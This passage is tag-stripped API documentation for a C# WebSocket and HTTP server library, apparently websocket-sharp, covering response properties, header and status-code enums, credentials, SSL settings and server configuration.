certificate. - - - This method isn't implemented. - - - - - Returns a that represents - the current . - - - A that represents the current . - - - - - Provides the access to a response to a request received by the . - - - The HttpListenerResponse class cannot be inherited. - - - - - Gets or sets the encoding for the entity body data included in the response. - - - A that represents the encoding for the entity body data, - or if no encoding is specified. - - - This object is closed. - - - - - Gets or sets the number of bytes in the entity body data included in the response. - - - A that represents the value of the Content-Length entity-header. - - - The value specified for a set operation is less than zero. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the media type of the entity body included in the response. - - - A that represents the media type of the entity body, - or if no media type is specified. This value is - used for the value of the Content-Type entity-header. - - - The value specified for a set operation is empty. - - - This object is closed. - - - - - Gets or sets the cookies sent with the response. - - - A that contains the cookies sent with the response. - - - - - Gets or sets the HTTP headers sent to the client. - - - A that contains the headers sent to the client. - - - The value specified for a set operation isn't valid for a response. - - - - - Gets or sets a value indicating whether the server requests a persistent connection. - - - true if the server requests a persistent connection; otherwise, false. - The default value is true. - - - The response has already been sent. - - - This object is closed. - - - - - Gets a to use to write the entity body data. - - - A to use to write the entity body data. - - - This object is closed. - - - - - Gets or sets the HTTP version used in the response. - - - A that represents the version used in the response. - - - The value specified for a set operation is . - - - The value specified for a set operation doesn't have its Major property set to 1 or - doesn't have its Minor property set to either 0 or 1. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the URL to which the client is redirected to locate a requested resource. - - - A that represents the value of the Location response-header, - or if no redirect location is specified. - - - The value specified for a set operation isn't an absolute URL. - - - This object is closed. - - - - - Gets or sets a value indicating whether the response uses the chunked transfer encoding. - - - true if the response uses the chunked transfer encoding; - otherwise, false. The default value is false. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the HTTP status code returned to the client. - - - An that represents the status code for the response to - the request. The default value is same as . - - - The response has already been sent. - - - This object is closed. - - - The value specified for a set operation is invalid. Valid values are - between 100 and 999 inclusive. - - - - - Gets or sets the description of the HTTP status code returned to the client. - - - A that represents the description of the status code. The default - value is the RFC 2616 - description for the property value, - or if an RFC 2616 description doesn't exist. - - - The value specified for a set operation contains invalid characters. - - - The response has already been sent. - - - This object is closed. - - - - - Closes the connection to the client without returning a response. - - - - - Adds an HTTP header with the specified and - to the headers for the response. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The header cannot be allowed to add to the current headers. - - - - - Appends the specified to the cookies sent with the response. - - - A to append. - - - is . - - - - - Appends a to the specified HTTP header sent with the response. - - - A that represents the name of the header to append - to. - - - A that represents the value to append to the header. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current headers cannot allow the header to append a value. - - - - - Returns the response to the client and releases the resources used by - this instance. - - - - - Returns the response with the specified array of to the client and - releases the resources used by this instance. - - - An array of that contains the response entity body data. - - - true if this method blocks execution while flushing the stream to the client; - otherwise, false. - - - is . - - - This object is closed. - - - - - Copies some properties from the specified to - this response. - - - A to copy. - - - is . - - - - - Configures the response to redirect the client's request to - the specified . - - - This method sets the property to - , the property to - 302, and the property to - "Found". - - - A that represents the URL to redirect the client's request to. - - - is . - - - isn't an absolute URL. - - - The response has already been sent. - - - This object is closed. - - - - - Adds or updates a in the cookies sent with the response. - - - A to set. - - - is . - - - already exists in the cookies and couldn't be replaced. - - - - - Releases all resources used by the . - - - - - Contains the HTTP headers that may be specified in a client request. - - - The HttpRequestHeader enumeration contains the HTTP request headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept header. - - - - - Indicates the Accept-Charset header. - - - - - Indicates the Accept-Encoding header. - - - - - Indicates the Accept-Language header. - - - - - Indicates the Authorization header. - - - - - Indicates the Cookie header. - - - - - Indicates the Expect header. - - - - - Indicates the From header. - - - - - Indicates the Host header. - - - - - Indicates the If-Match header. - - - - - Indicates the If-Modified-Since header. - - - - - Indicates the If-None-Match header. - - - - - Indicates the If-Range header. - - - - - Indicates the If-Unmodified-Since header. - - - - - Indicates the Max-Forwards header. - - - - - Indicates the Proxy-Authorization header. - - - - - Indicates the Referer header. - - - - - Indicates the Range header. - - - - - Indicates the TE header. - - - - - Indicates the Translate header. - - - - - Indicates the User-Agent header. - - - - - Indicates the Sec-WebSocket-Key header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the HTTP headers that can be specified in a server response. - - - The HttpResponseHeader enumeration contains the HTTP response headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept-Ranges header. - - - - - Indicates the Age header. - - - - - Indicates the ETag header. - - - - - Indicates the Location header. - - - - - Indicates the Proxy-Authenticate header. - - - - - Indicates the Retry-After header. - - - - - Indicates the Server header. - - - - - Indicates the Set-Cookie header. - - - - - Indicates the Vary header. - - - - - Indicates the WWW-Authenticate header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Accept header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the values of the HTTP status codes. - - - The HttpStatusCode enumeration contains the values of the HTTP status codes defined in - RFC 2616 for the HTTP/1.1. - - - - - Equivalent to status code 100. - Indicates that the client should continue with its request. - - - - - Equivalent to status code 101. - Indicates that the server is switching the HTTP version or protocol on the connection. - - - - - Equivalent to status code 200. - Indicates that the client's request has succeeded. - - - - - Equivalent to status code 201. - Indicates that the client's request has been fulfilled and resulted in a new resource being - created. - - - - - Equivalent to status code 202. - Indicates that the client's request has been accepted for processing, but the processing - hasn't been completed. - - - - - Equivalent to status code 203. - Indicates that the returned metainformation is from a local or a third-party copy instead of - the origin server. - - - - - Equivalent to status code 204. - Indicates that the server has fulfilled the client's request but doesn't need to return - an entity-body. - - - - - Equivalent to status code 205. - Indicates that the server has fulfilled the client's request, and the user agent should - reset the document view which caused the request to be sent. - - - - - Equivalent to status code 206. - Indicates that the server has fulfilled the partial GET request for the resource. - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - MultipleChoices is a synonym for Ambiguous. - - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - Ambiguous is a synonym for MultipleChoices. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - MovedPermanently is a synonym for Moved. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - Moved is a synonym for MovedPermanently. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Found is a synonym for Redirect. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Redirect is a synonym for Found. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - SeeOther is a synonym for RedirectMethod. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - RedirectMethod is a synonym for SeeOther. - - - - - - Equivalent to status code 304. - Indicates that the client has performed a conditional GET request and access is allowed, - but the document hasn't been modified. - - - - - Equivalent to status code 305. - Indicates that the requested resource must be accessed through the proxy given by - the Location field. - - - - - Equivalent to status code 306. - This status code was used in a previous version of the specification, is no longer used, - and is reserved for future use. - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - TemporaryRedirect is a synonym for RedirectKeepVerb. - - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - RedirectKeepVerb is a synonym for TemporaryRedirect. - - - - - - Equivalent to status code 400. - Indicates that the client's request couldn't be understood by the server due to - malformed syntax. - - - - - Equivalent to status code 401. - Indicates that the client's request requires user authentication. - - - - - Equivalent to status code 402. - This status code is reserved for future use. - - - - - Equivalent to status code 403. - Indicates that the server understood the client's request but is refusing to fulfill it. - - - - - Equivalent to status code 404. - Indicates that the server hasn't found anything matching the request URI. - - - - - Equivalent to status code 405. - Indicates that the method specified in the request line isn't allowed for the resource - identified by the request URI. - - - - - Equivalent to status code 406. - Indicates that the server doesn't have the appropriate resource to respond to the Accept - headers in the client's request. - - - - - Equivalent to status code 407. - Indicates that the client must first authenticate itself with the proxy. - - - - - Equivalent to status code 408. - Indicates that the client didn't produce a request within the time that the server was - prepared to wait. - - - - - Equivalent to status code 409. - Indicates that the client's request couldn't be completed due to a conflict on the server. - - - - - Equivalent to status code 410. - Indicates that the requested resource is no longer available at the server and - no forwarding address is known. - - - - - Equivalent to status code 411. - Indicates that the server refuses to accept the client's request without a defined - Content-Length. - - - - - Equivalent to status code 412. - Indicates that the precondition given in one or more of the request headers evaluated to - false when it was tested on the server. - - - - - Equivalent to status code 413. - Indicates that the entity of the client's request is larger than the server is willing or - able to process. - - - - - Equivalent to status code 414. - Indicates that the request URI is longer than the server is willing to interpret. - - - - - Equivalent to status code 415. - Indicates that the entity of the client's request is in a format not supported by - the requested resource for the requested method. - - - - - Equivalent to status code 416. - Indicates that none of the range specifier values in a Range request header overlap - the current extent of the selected resource. - - - - - Equivalent to status code 417. - Indicates that the expectation given in an Expect request header couldn't be met by - the server. - - - - - Equivalent to status code 500. - Indicates that the server encountered an unexpected condition which prevented it from - fulfilling the client's request. - - - - - Equivalent to status code 501. - Indicates that the server doesn't support the functionality required to fulfill the client's - request. - - - - - Equivalent to status code 502. - Indicates that a gateway or proxy server received an invalid response from the upstream - server. - - - - - Equivalent to status code 503. - Indicates that the server is currently unable to handle the client's request due to - a temporary overloading or maintenance of the server. - - - - - Equivalent to status code 504. - Indicates that a gateway or proxy server didn't receive a timely response from the upstream - server or some other auxiliary server. - - - - - Equivalent to status code 505. - Indicates that the server doesn't support the HTTP version used in the client's request. - - - - - Decodes an HTML-encoded and returns the decoded . - - - A that represents the decoded string. - - - A to decode. - - - - - Decodes an HTML-encoded and sends the decoded - to the specified . - - - A to decode. - - - A that receives the decoded string. - - - - - HTML-encodes a and returns the encoded . - - - A that represents the encoded string. - - - A to encode. - - - - - HTML-encodes a and sends the encoded - to the specified . - - - A to encode. - - - A that receives the encoded string. - - - - - Provides the HTTP version numbers. - - - - - Provides a instance for the HTTP/1.0. - - - - - Provides a instance for the HTTP/1.1. - - - - - Initializes a new instance of the class. - - - - - Provides the credentials for the password-based authentication. - - - - - Initializes a new instance of the class with - the specified and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - is . - - - is empty. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - A that represents the domain associated with - the credentials. - - - An array of that represents the roles - associated with the credentials if any. - - - is . - - - is empty. - - - - - Gets the domain associated with the credentials. - - - This property returns an empty string if the domain was - initialized with . - - - A that represents the domain name - to which the username belongs. - - - - - Gets the password for the username associated with the credentials. - - - This property returns an empty string if the password was - initialized with . - - - A that represents the password. - - - - - Gets the roles associated with the credentials. - - - This property returns an empty array if the roles were - initialized with . - - - An array of that represents the role names - to which the username belongs. - - - - - Gets the username associated with the credentials. - - - A that represents the username. - - - - - Stores the parameters for the used by servers. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the certificate used to - authenticate the server. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets a value indicating whether the client is asked for - a certificate for authentication. - - - - true if the client is asked for a certificate for - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the callback used to validate the certificate - supplied by the client. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the certificate used to authenticate the server. - - - - A or - if not specified. - - - That instance represents an X.509 certificate. - - - - - - Provides a collection of the HTTP headers associated with a request or response. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - is . - - - An element with the specified name isn't found in . - - - - - Initializes a new instance of the class. - - - - - Gets all header names in the collection. - - - An array of that contains all header names in the collection. - - - - - Gets the number of headers in the collection. - - - An that represents the number of headers in the collection. - - - - - Gets or sets the specified request in the collection. - - - A that represents the value of the request . - - - One of the enum values, represents - the request header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Gets or sets the specified response in the collection. - - - A that represents the value of the response . - - - One of the enum values, represents - the response header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Gets a collection of header names in the collection. - - - A that contains - all header names in the collection. - - - - - Adds a header to the collection without checking if the header is on - the restricted header list. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - or contains invalid characters. - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified to the collection. - - - A that represents the header with the name and value separated by - a colon (':'). - - - is , empty, or the name part of - is empty. - - - - doesn't contain a colon. - - - -or- - - - is a restricted header. - - - -or- - - - The name or value part of contains invalid characters. - - - - The length of the value part of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified request with - the specified to the collection. - - - One of the enum values, represents - the request header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Adds the specified response with - the specified to the collection. - - - One of the enum values, represents - the response header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Adds a header with the specified and - to the collection. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Removes all headers from the collection. - - - - - Get the value of the header at the specified in the collection. - - - A that receives the value of the header. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Get the value of the header with the specified in the collection. - - - A that receives the value of the header if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - Get the name of the header at the specified in the collection. - - - A that receives the header name. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified position of - the collection. - - - An array of that receives the header values if found; - otherwise, . - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified . - - - An array of that receives the header values if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Populates the specified with the data needed to serialize - the . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Determines whether the specified header can be set for the request. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - is or empty. - - - contains invalid characters. - - - - - Determines whether the specified header can be set for the request or the response. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - true if does the test for the response; for the request, false. - - - is or empty. - - - contains invalid characters. - - - - - Implements the interface and raises the deserialization event - when the deserialization is complete. - - - An that represents the source of the deserialization event. - - - - - Removes the specified request from the collection. - - - One of the enum values, represents - the request header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the request . - - - - - Removes the specified response from the collection. - - - One of the enum values, represents - the response header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the response . - - - - - Removes the specified header from the collection. - - - A that represents the name of the header to remove. - - - is or empty. - - - - contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The current instance doesn't allow - the header . - - - - - Sets the specified request to the specified value. - - - One of the enum values, represents - the request header to set. - - - A that represents the value of the request header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Sets the specified response to the specified value. - - - One of the enum values, represents - the response header to set. - - - A that represents the value of the response header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Sets the specified header to the specified value. - - - A that represents the name of the header to set. - - - A that represents the value of the header to set. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Converts the current to an array of . - - - An array of that receives the converted current - . - - - - - Returns a that represents the current - . - - - A that represents the current . - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Exposes the properties used to access the information in a WebSocket handshake request. - - - This class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Indicates the WebSocket frame type. - - - The values of this enumeration are defined in - - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates continuation frame. - - - - - Equivalent to numeric value 1. Indicates text frame. - - - - - Equivalent to numeric value 2. Indicates binary frame. - - - - - Equivalent to numeric value 8. Indicates connection close frame. - - - - - Equivalent to numeric value 9. Indicates ping frame. - - - - - Equivalent to numeric value 10. Indicates pong frame. - - - - - Represents the empty payload data. - - - - - Represents the allowable max length. - - - - A will occur if the payload data length is - greater than the value of this field. - - - If you would like to change the value, you must set it to a value between - WebSocket.FragmentLength and Int64.MaxValue inclusive. - - - - - - Indicates whether each RSV (RSV1, RSV2, and RSV3) of a WebSocket frame is non-zero. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates zero. - - - - - Equivalent to numeric value 1. Indicates non-zero. - - - - - Represents the event data for the HTTP request events of - the . - - - - An HTTP request event occurs when the - receives an HTTP request. - - - You should access the property if you would - like to get the request data sent from a client. - - - And you should access the property if you would - like to get the response data to return to the client. - - - - - - Gets the request data sent from a client. - - - A that provides the methods and - properties for the request data. - - - - - Gets the response data to return to the client. - - - A that provides the methods and - properties for the response data. - - - - - Gets the information for the client. - - - - A instance or - if not authenticated. - - - That instance describes the identity, authentication scheme, - and security roles for the client. - - - - - - Reads the specified file from the document folder of - the . - - - - An array of or - if it fails. - - - That array receives the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Tries to read the specified file from the document folder of - the . - - - true if it succeeds to read; otherwise, false. - - - A that represents a virtual path to - find the file from the document folder. - - - - When this method returns, an array of or - if it fails. - - - That array receives the contents of the file. - - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Provides a simple HTTP server that allows to accept - WebSocket handshake requests. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming requests on - and port 80. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on the IP address of the - host of and the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is https; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is https. - - - - A that represents the HTTP URL of the server. - - - is . - - - - is empty. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class with - the specified and . - - - The new instance listens for incoming requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified and . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - The new instance listens for incoming requests on - and . - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming requests. - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets or sets the path to the document folder of the server. - - - - '/' or '\' is trimmed from the end of the value if any. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - A that represents a path to the folder - from which to find the requested file. - - - The default value is "./Public". - - - - The value specified for a set operation is . - - - - The value specified for a set operation is an empty string. - - - -or- - - - The value specified for a set operation is an invalid path string. - - - -or- - - - The value specified for a set operation is an absolute root. - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - true if the server cleans up the inactive sessions - every 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Occurs when the server receives an HTTP CONNECT request. - - - - - Occurs when the server receives an HTTP DELETE request. - - - - - Occurs when the server receives an HTTP GET request. - - - - - Occurs when the server receives an HTTP HEAD request. - - - - - Occurs when the server receives an HTTP OPTIONS request. - - - - - Occurs when the server receives an HTTP PATCH request. - - - - - Occurs when the server receives an HTTP POST request. - - - - - Occurs when the server receives an HTTP PUT request. - - - - - Occurs when the server receives an HTTP TRACE request. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of 